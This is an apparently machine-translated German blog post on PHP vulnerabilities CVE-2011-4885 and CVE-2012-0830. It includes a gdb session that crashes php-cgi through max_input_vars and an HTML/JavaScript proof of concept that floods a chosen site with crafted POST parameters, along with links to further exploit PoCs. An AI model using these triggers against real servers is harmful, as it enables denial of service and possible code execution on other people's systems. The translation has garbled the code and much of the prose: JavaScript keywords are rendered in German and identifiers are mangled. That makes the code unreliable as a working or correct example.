PHP 5.3.* mag DoS-Schwachstellen
Fast alle Teil der CVE-2011-4885 PHP Hashtables Denial of Service , das sagt diese:
PHP vor 5.3.9 berechnet Hash-Werte für die Parameter Form, ohne die Fähigkeit, Hash-Kollisionen auslösen vorhersagbar, was erlaubt Angreifern einen Denial of Service verursachen (CPU-Verbrauch) indem viele gestaltete Parameter.
Mit dem Upgrade auf Version PHP 5.3.9 stellt den Bug-Fix:
Hinzugefügt max_input_vars Richtlinie, um Angriffe auf Hash-Kollisionen zu verhindern Basis (Dmitry).
max_input_vars Mein Beispiel wird über php.ini konfigurierbar:
Dies, max_input_vars Allerdings führt eine neue Bug: CVE-2012-0830
Ein entfernter Angreifer kann senden Vielzahl von präparierten POST-Anfragen, was könnte
Crash php oder beliebigen Code mit den Rechten des Benutzers ausgeführt,
php.
cat test.php
<?php
print_r( $_GET );
?>
(gdb) run -d max_input_vars=1 /tmp/test.php a[]=1 v[]=2
Starting program: /usr/bin/php-cgi -d max_input_vars=1 /tmp/test.php a[]=1 v[]=2
[Thread debugging using libthread_db enabled]
PHP Warning: Unknown: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
PHP Warning: Unknown: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
Program received signal SIGSEGV, Segmentation fault.
0x000000000063cb5e in php_register_variable_ex ()
(gdb) ^CQuit
clshack@lb:~$ php-cgi --version
PHP 5.3.9-6~oneiric+2 (cgi-fcgi) (built: Feb 1 2012 15:51:44)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
clshack@lb:~$
Wo die Sicherheitslücke ist wie folgt:
Die Schwachstelle tritt auf, wenn die Anzahl der Variablen über max_input_vars und die Variable ein Array variablen (wenn (*p == '[')). Anstelle einer anderen Fall, der aufhören würde und zurück, Der Code darf weiter ausgeführt. Der Code wird weiterhin ausgeführt bis zur Linie 207, das zweite hervorgehobene Zeile. Bei Zeile 207, es ruft ein Makro Z_ARRVAL_PP um einen Verweis auf die aktualisierte Hashtable bekommen. Hier wird die Ausführung von Code auftreten kann.
Wo der PoC für einen entfernten Standort, con il max_input_vars ein 1000 [bearbeiten, indem clshack v.v ]:
<!DOCTYPE HTML PUBLIC "- / / W3C / / DTD XHTML 1.0 Strict / / EN" "Http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd~~V "> <html xmlns = "http://www.w3.org/1999/xhtml" xml:lang = "en" lang = "en"> <head> <title>senza nome</title> <meta http-equiv = "Content-Type" content = "text / html;charset = UTF-8" /> <script> // Einfache Proof of Concept für PHP-Bug (CVE-2012-0830) beschrieben von Stefan Esser (@ I0n1c) // http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/ // Erzeugen 1000 normale Tasten und ein Array () { evil_obj var = {}; for (mit i = 0; i < 1001; i ) { evil_obich[i] = 1; } evil_obj["Töten[]'] = 'Kill'; zurück evil_obj; } // Serialize Javascript-Objekt in POST-Daten (obj) { var str = []; for(var p and Share) { fürstr.push(p + "=" + obj[p]); } zurück str.join("&"); } // Führen Angriff (site) { wurden gebeten = serialStandortbj(createEvilObj()); var XHR = new XMLHttpRequest(); xhr.open("PStandortquot;, site, wahr); xhr.setRequestHeader('application/x-www-form-urlencoded'); xhr.setRequestHeader("Content-Length", bad.len& # Für xhr.send(schlecht); } </script> </head> <body> <input type = 'text' id = 'Website' value='http://www.example.com' name = 'Website' > <Button onclick = 'attackSite(docKörpert.getElementById("Site").Wert);'> Angreifen</Taste> </body> </html>
Wie bei der PoC- CVE-2011-4885 finden Sie hier:
http://www.exploit-db.com/exploits/18296/
Und dann gibt es für PHP 5.4SVN-2012-02-03 Ein Pufferüberlauf auf die Funktion htmlspecialchars / Unternehmen:
Poc:
http://www.exploit-db.com/exploits/18458/~~V
Referenzen:
http://pastebin.com/qWBrq0A3
http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
http://www.exploit-db.com
Related posts:
- RIPS:Source Code Analyzer für Schwachstellen in PHP
- [WordPress]Freigegeben WP-Sentinel 2.0
- Werkzeuge für die Suche nach DLL-Hijacking Sicherheitslücken
Dieser Eintrag wurde am Freitag, 3. Februar, 2012 bei 4:07 Uhr und ist abgelegt unter Hacking, Programmierung. Sie können alle Antworten zu diesem Eintrag durch den RSS RSS 2.0 füttern. Sie können eine Antwort hinterlassen, oder trackback von deiner eigenen Seite.
Tagged with: ZWEI • php






